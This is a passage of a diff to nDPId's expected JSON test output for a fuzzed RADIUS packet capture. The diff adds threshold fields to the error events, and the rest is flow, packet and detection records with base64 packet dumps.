detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997221878096,"packet_id":109,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":691,"global_ts_usec":1528997221878096} 01257{"packet_event_id":1,"packet_event_name":"packet","packet_id":109,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"thread_ts_usec":1528997221594421,"pkt":"AAAMB6xAABRP+4rqCABFAALHIPtuAP8RAAAKDEAexuIZNXIQB1QCswAAAUECqxyBDV4hA0zB94U9KheYsYAaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8Az1fICQlXSVNQUqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00819{"flow_event_id":9,"flow_event_name":"not-detected","thread_id":0,"packet_id":111,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":13,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997023501287,"flow_src_last_pkt_time":1528997023501287,"flow_dst_last_pkt_time":1528997023501287,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":164,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":164,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":164,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997222052019,"l3_proto":"ip4","src_ip":"198.162.25.53","dst_ip":"10.12.64.30","src_port":1810,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Unknown","proto_id":"0","encrypted":0,"breed":"Unrated"}} 00775{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":111,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":13,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997023501287,"flow_src_last_pkt_time":1528997023501287,"flow_dst_last_pkt_time":1528997023501287,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":164,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":164,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":164,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997222052019,"l3_proto":"ip4","src_ip":"198.162.25.53","dst_ip":"10.12.64.30","src_port":1810,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} @@ -166,7 +166,7 @@ 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":120,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":24,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997261783701,"flow_src_last_pkt_time":1528997261783701,"flow_dst_last_pkt_time":1528997261783701,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997261783701,"l3_proto":"ip4","src_ip":"198.226.82.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00777{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_src_last_pkt_time":1528997261783701,"flow_dst_last_pkt_time":1528997261783701,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"thread_ts_usec":1528997261783701,"pkt":"dxRP+4rqcNuYVcUnCABFAADh\/sxAAPwRVP3G4lI1CgxAHgcUchAAzQ3qC0YAxVP5rh2w5Lj8PI2upF4y\/0IBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXT3b3JrLm9yZywgNWIyMmE1ODkvZjA6N+g6NjA6ZDE6N2Q6MzcvMjIwT0oBAgBIFwEAAAEFAADvkK66gUfrDsISd3KA2Dq0AgUAAEGPAVxuDAAAtFagJxCAdoSLAQACCwUAAF3vTu1rfeBtyKrBBShZZHpQEiKq\/RQqlqya5NkwR6FJjV0="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":120,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":24,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997261783701,"flow_src_last_pkt_time":1528997261783701,"flow_dst_last_pkt_time":1528997261783701,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997261783701,"l3_proto":"ip4","src_ip":"198.226.82.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00221{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":121,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":691,"global_ts_usec":1528997262078629} +00321{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997262078629,"packet_id":121,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":691,"global_ts_usec":1528997262078629} 01261{"packet_event_id":1,"packet_event_name":"packet","packet_id":121,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"thread_ts_usec":1528997261783701,"pkt":"AAAMB6xAABRP+4rqCABFAALHIP0lAP8RAAAKDEAexuIZNXIQBxQCswAAAUcCq0DUTgiBVRdCBPZhxwMy\/T4aCiUAV3EOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM2NwZbIqWOATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yaS5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjODAwMDAwYmQ4OWE1MjI1YiwgNWIyMmE1ODkvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjIwBAasFAFKIA5WWldDMlQxc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkVAEAAAsFAADE2f3MRJYt4jvAki9JKC\/7AwIAIHMK7AgaFAAAV8gHDlZaV0MyVGVzdExhYhoKAABXyAgERVQaEAB2V8gKClN0YW5kYXJkGhAAAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkoaEQAAZ8gRC0x5bmRodXJzdBoMABBXyBIGAAAAyRoXAABXyB0RVlpXIEMyIFRlc3QgTGFiGgsAAFfIJQVWelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZhbHVkGh0AADghExc0MC44MG84ODJOLTc0LjEwMjgzOVcaDAAAOCEUBgAAAQIaDAAAOCEV\/QAAAAIaFQAAOCEWD1N0YWRpdW1EaXJlY3QaDAAABYMHBsBQSplQEsOMLEiMSdbl\/UWsrT5hVfA="} 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":122,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":25,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997262272854,"flow_src_last_pkt_time":1528997262272854,"flow_dst_last_pkt_time":1528997262272854,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":276,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":276,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":276,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997262272854,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1895,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00883{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":122,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_src_last_pkt_time":1528997262272854,"flow_dst_last_pkt_time":1528997262272854,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":318,"pkt_l4_len":284,"thread_ts_usec":1528997262272854,"pkt":"ABRP+4rqcNuYVcUlCABFAAEw\/tJAAPwRVKjG4hk1CgxAHgdnchABHO9uAkcBFNPCS391ou+9cV+4e8winsYaCwAAV8gbBVNQQxpuAAABNxA00HHPRTyBsiZ\/6IZyvYM7SEcCX4QDUPpLB\/Nfl+7+pUh0wsa+NLqA2uxWkFDu5HiEeuARNLVaDzSIzbsbfVqWHWeSG0JbhaHnOPPCnMTZqtKCAvxt6AWKG1d8LjPCNKE\/ymsqNvHxATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmcsIDViMjJhNTg5L2YwOjc5OjYwOmQxOjdkOjM3LzIyMFkMOTA4NDIxMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBJTw+nZtWuGBh7\/qdpxMTkR"} @@ -185,17 +185,17 @@ 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":128,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":28,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997294408774,"flow_src_last_pkt_time":1528997294408774,"flow_dst_last_pkt_time":1528997294408774,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997294408774,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.28.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00777{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_src_last_pkt_time":1528997294408774,"flow_dst_last_pkt_time":1528997294408774,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"thread_ts_usec":1528997294408774,"pkt":"ABRP+4rqcNuYVcUnCABFAADh\/xpAAPsRVa\/G4hk1ChxAHgcUchAAzU8kC0oAxWEDMLFDKTYIfgbKyEyHMfIBNTAzMTE0ODAyNTA4NjQ2MjhAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE1YWUvMDA6NTY6Y2Q6NmQ6NDI6NTkvMjIxT0oBAjRIFwEAAAEFAACfFoRHbsDvI\/+46yBaysIsAgUAAJcLQv7ORgAASiNmmimRHNuLAQACCwUAAKEH8wkM8t7F6HlgkovXWwdQEo++iUihP9VHkRTh6mD7kgU="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":128,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":28,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997294408774,"flow_src_last_pkt_time":1528997294408774,"flow_dst_last_pkt_time":1528997294408774,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997294408774,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.28.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00203{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":129,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528997294665856} +00303{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997294665856,"packet_id":129,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528997294665856} 01258{"packet_event_id":1,"packet_event_name":"packet","packet_id":129,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":725,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"thread_ts_usec":1528997294408774,"pkt":"AAAMB6xAqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":130,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":2296,"global_ts_usec":1528997294874819} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997294874819,"packet_id":130,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":2296,"global_ts_usec":1528997294874819} 00719{"packet_event_id":1,"packet_event_name":"packet","packet_id":130,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":318,"pkt_type":2296,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"thread_ts_usec":1528997294408774,"pkt":"ABRP+4rqcNuYVcUnCPhFAAEw\/yNAAPwRVFfG4hk1CgxAHgcUchABHADcAksBFFLEf\/kOKgAErzLPbpm7axIaCwAAV8gbBVNQQxpuAAABNxA040janeSai176IwGdu20qfHT6JdVX190nBVzQ8vbUeCsV1xduBdcl\/a+H+pp\/9\/XZ2p4RNITv9nAcFfSIQXySxypwJddtE1ldHXfDo7SxndAJGg66ub4EawJGyutGrkBcdNZ\/YktYATUwMzExNDgwMjUwODY0NjI4QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmcsIDViqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} -00203{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":131,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528997299762525} +00303{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997299762525,"packet_id":131,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":43690,"global_ts_usec":1528997299762525} 01286{"packet_event_id":1,"packet_event_name":"packet","packet_id":131,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":745,"pkt_type":43690,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"thread_ts_usec":1528997294408774,"pkt":"AKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} 00932{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":135,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"finished","flow_src_packets_processed":36,"flow_dst_packets_processed":34,"flow_first_seen":1528996068129675,"flow_src_last_pkt_time":1528997300248092,"flow_dst_last_pkt_time":1528997300431177,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":655,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":276,"flow_src_tot_l4_payload_len":24628,"flow_dst_tot_l4_payload_len":6967,"midstream":0,"thread_ts_usec":1528997300431177,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00929{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":135,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":16,"flow_state":"finished","flow_src_packets_processed":6,"flow_dst_packets_processed":3,"flow_first_seen":1528997050187902,"flow_src_last_pkt_time":1528997259951210,"flow_dst_last_pkt_time":1528997259779653,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":618,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":276,"flow_src_tot_l4_payload_len":4028,"flow_dst_tot_l4_payload_len":536,"midstream":0,"thread_ts_usec":1528997300431177,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.62","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00778{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":135,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":19,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997134036207,"flow_src_last_pkt_time":1528997134036207,"flow_dst_last_pkt_time":1528997134036207,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997300431177,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.120.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00924{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":135,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":21,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997221594421,"flow_src_last_pkt_time":1528997221594421,"flow_dst_last_pkt_time":1528997221594421,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997300431177,"l3_proto":"ip4","src_ip":"198.157.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00221{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":135,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":711,"global_ts_usec":1528997307038054} +00321{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997307038054,"packet_id":135,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":711,"global_ts_usec":1528997307038054} 01285{"packet_event_id":1,"packet_event_name":"packet","packet_id":135,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"thread_ts_usec":1528997300431177,"pkt":"AAAMB6xAABRP+4rqCABFAALbIQRLAP8RAAAKDEAexpYZNXIQBxQCxwAAAU4Cv5wdq9spC4sVMXMqpc65j64aCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMwNwZbIqW6ATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BCblJ0d29yay5vcmdZAxB+CDFjaXNjL4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYyAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAPYmZiM2E1SjI1YiwgNWIyMmE1YjMvZjA6Nyk6NjA6ZDE6N2Q6MzcvMjJqBAasFAESIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABOqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":139,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":29,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997311323632,"flow_src_last_pkt_time":1528997311323632,"flow_dst_last_pkt_time":1528997311323632,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997311323632,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.224.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 